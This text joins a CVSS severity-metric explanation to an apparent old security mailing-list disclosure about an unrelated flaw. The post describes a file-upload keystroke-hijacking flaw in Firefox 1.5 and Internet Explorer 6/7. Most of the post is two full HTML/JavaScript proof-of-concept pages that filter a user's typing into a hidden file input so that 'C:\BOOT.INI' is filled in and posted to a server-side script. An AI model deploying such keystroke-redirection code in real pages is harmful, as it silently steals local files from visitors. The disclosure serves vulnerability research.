The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
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Hey all,
aside from the new file upload vulnerability in Firefox 1.5.0.3 and
below, I discovered two others a year ago (one in IE, the other in
Firefox) in the same component. I'm a little obsessed with the file
input widget.
Since then i've managed to lose my email, but the response I got back
from Microsoft was basically
"Thank you, we'll put it in IE 7.
p.s. you might want to check in with firefox, i think someone reported
this a few years ago and they were vulnerable too.
kthxbye"
The problem is that in both IE and Firefox you can filter the keystrokes
entered in a form and 'bounce' the input over to the file input box, and
then bounce back to previous text entry, making it appear as if nothing
has happened. Yes this is minor, but a conceivable avenue of attack.
Anyways, my bug (No. 290478) to firefox was marked a dupe of a bug that
dated back to 2000 (No. 56236). This stuff is publicly
documented/available, but you have to know what your looking for.
Hidden in plain site you could say.
anyways, onto the code:
FIREFOX:
Instructions:
Copy paste this into an editor. Load in firefox. click in text box
on right pane. type the letter 'c', notice it appear in file input box.
Press the letter 'a', notice it not appear. press ':', appearrs.
Will filter out the string "c:boot.ini".
<HTML>
<HEAD>
<style type="text/css">
.first {
}
.second {
color: white;
background-color: white;
opacity: 0;
}
</style>
<SCRIPT>
//document.onKeyDown = doKeyPress;
//document.onKeyUp = doKeyUp;
var saved;
var e ;
var mystring = "C:\BOOT.INI";
//var i=mystring.length-1;
var i=0;
function doKeyPress(chucky)
{
saved = chucky.which;
//alert('pressed ' + String.fromCharCode(saved) + '(' + saved + ')');
if (mystring[i] != String.fromCharCode(saved).toUpperCase() ||
i > mystring.length-1) {
return false;
}
i++;
return true;
};
function doKeyUp () {
document.forms[0].txt.value += String.fromCharCode(saved);
document.forms[0].txt.focus();
}
</SCRIPT>
</HEAD>
<BODY >
<FORM METHOD=POST action=file.php>
<INPUT id='asdf' name="fileupload" defaultValue='asdfasdf' TYPE=FILE
OnKeyUp="doKeyUp();"
OnKeyPress="return doKeyPress(event);">
<input name=txt id='txt' type=text value=''
OnKeyDown="document.forms[0].fileupload.focus();"
onClick="">
<input type=button value="invisible"
onclick="document.forms[0].fileupload.className='second';">
<input type=button value="visible"
onclick="document.forms[0].fileupload.className='first';">
</FORM>
</BODY>
</HTML>
INTERNET EXPLORER 6 + 7:
Description: Same thing as above.
Instructions: turn on CAPSLOCK (lame). click in text box. press 'I'.
press 'N', press 'I' press '.' etc.... will filter out C:BOOT.INI.
CODE:
<HTML>
<HEAD>
<SCRIPT>
//document.onKeyDown = doKeyPress;
//document.onKeyUp = doKeyUp;
var saved;
var e ;
var mystring = "C:\BOOT.INI";
var i=mystring.length-1;
function doKeyPress () {
e = window.event;
saved = e.keyCode;
window.status = "e.keyCode == " + e.keyCode + "character is " +
mystring.charCodeAt(i);
if(e.keyCode != mystring.charCodeAt(i))
{
//e.keyCode =0;
e.returnValue=false;
e.cancelBubble=true;
}
else {
i--;
}
document.forms[0].fileupload.focus();
}
function doKeyUp () {
document.forms[0].txt.value += String.fromCharCode(saved);
document.forms[0].txt.focus();
}
function switchtype() {
/* var e = document.getElementById('txt');
document.forms[0].txt.setAttribute("type", "file");
e.setAttribute("value", "asfasfsd");
*/
}
function fux0rKeys() {
}
</SCRIPT>
</HEAD>
<BODY onload="document.forms[0].txt.value='sometext';
document.forms[0].fileupload.value='asdfsdfadsf';">
<FORM METHOD=POST action=file.php>
<INPUT id='asdf' name="fileupload" defaultValue='asdfasdf' TYPE=FILE
OnKeyUp="doKeyUp();"
OnKeyPress="doKeyPress();">
<input name=txt id='txt' type=text value='asdfsdafasdf'
OnKeyDown="document.forms[0].fileupload.focus();"
asdfnKeyDown="document.forms[0].txt.fireEvent('onKeyPress');"
onClick=""> visible
</FORM>
</BODY>
</HTML>
feel free to shoot any questions at me/the group about it. I wrote this
stuff over a year ago, and my javascript's never been that good in the
first place.
SOLUTION:
Please please please please please IE and Firefox. Stop treating the
file input box the way you do. There can be more imaginative/attractive
ways to displaying a file chooser that have less exposure to attack.
- -chuck
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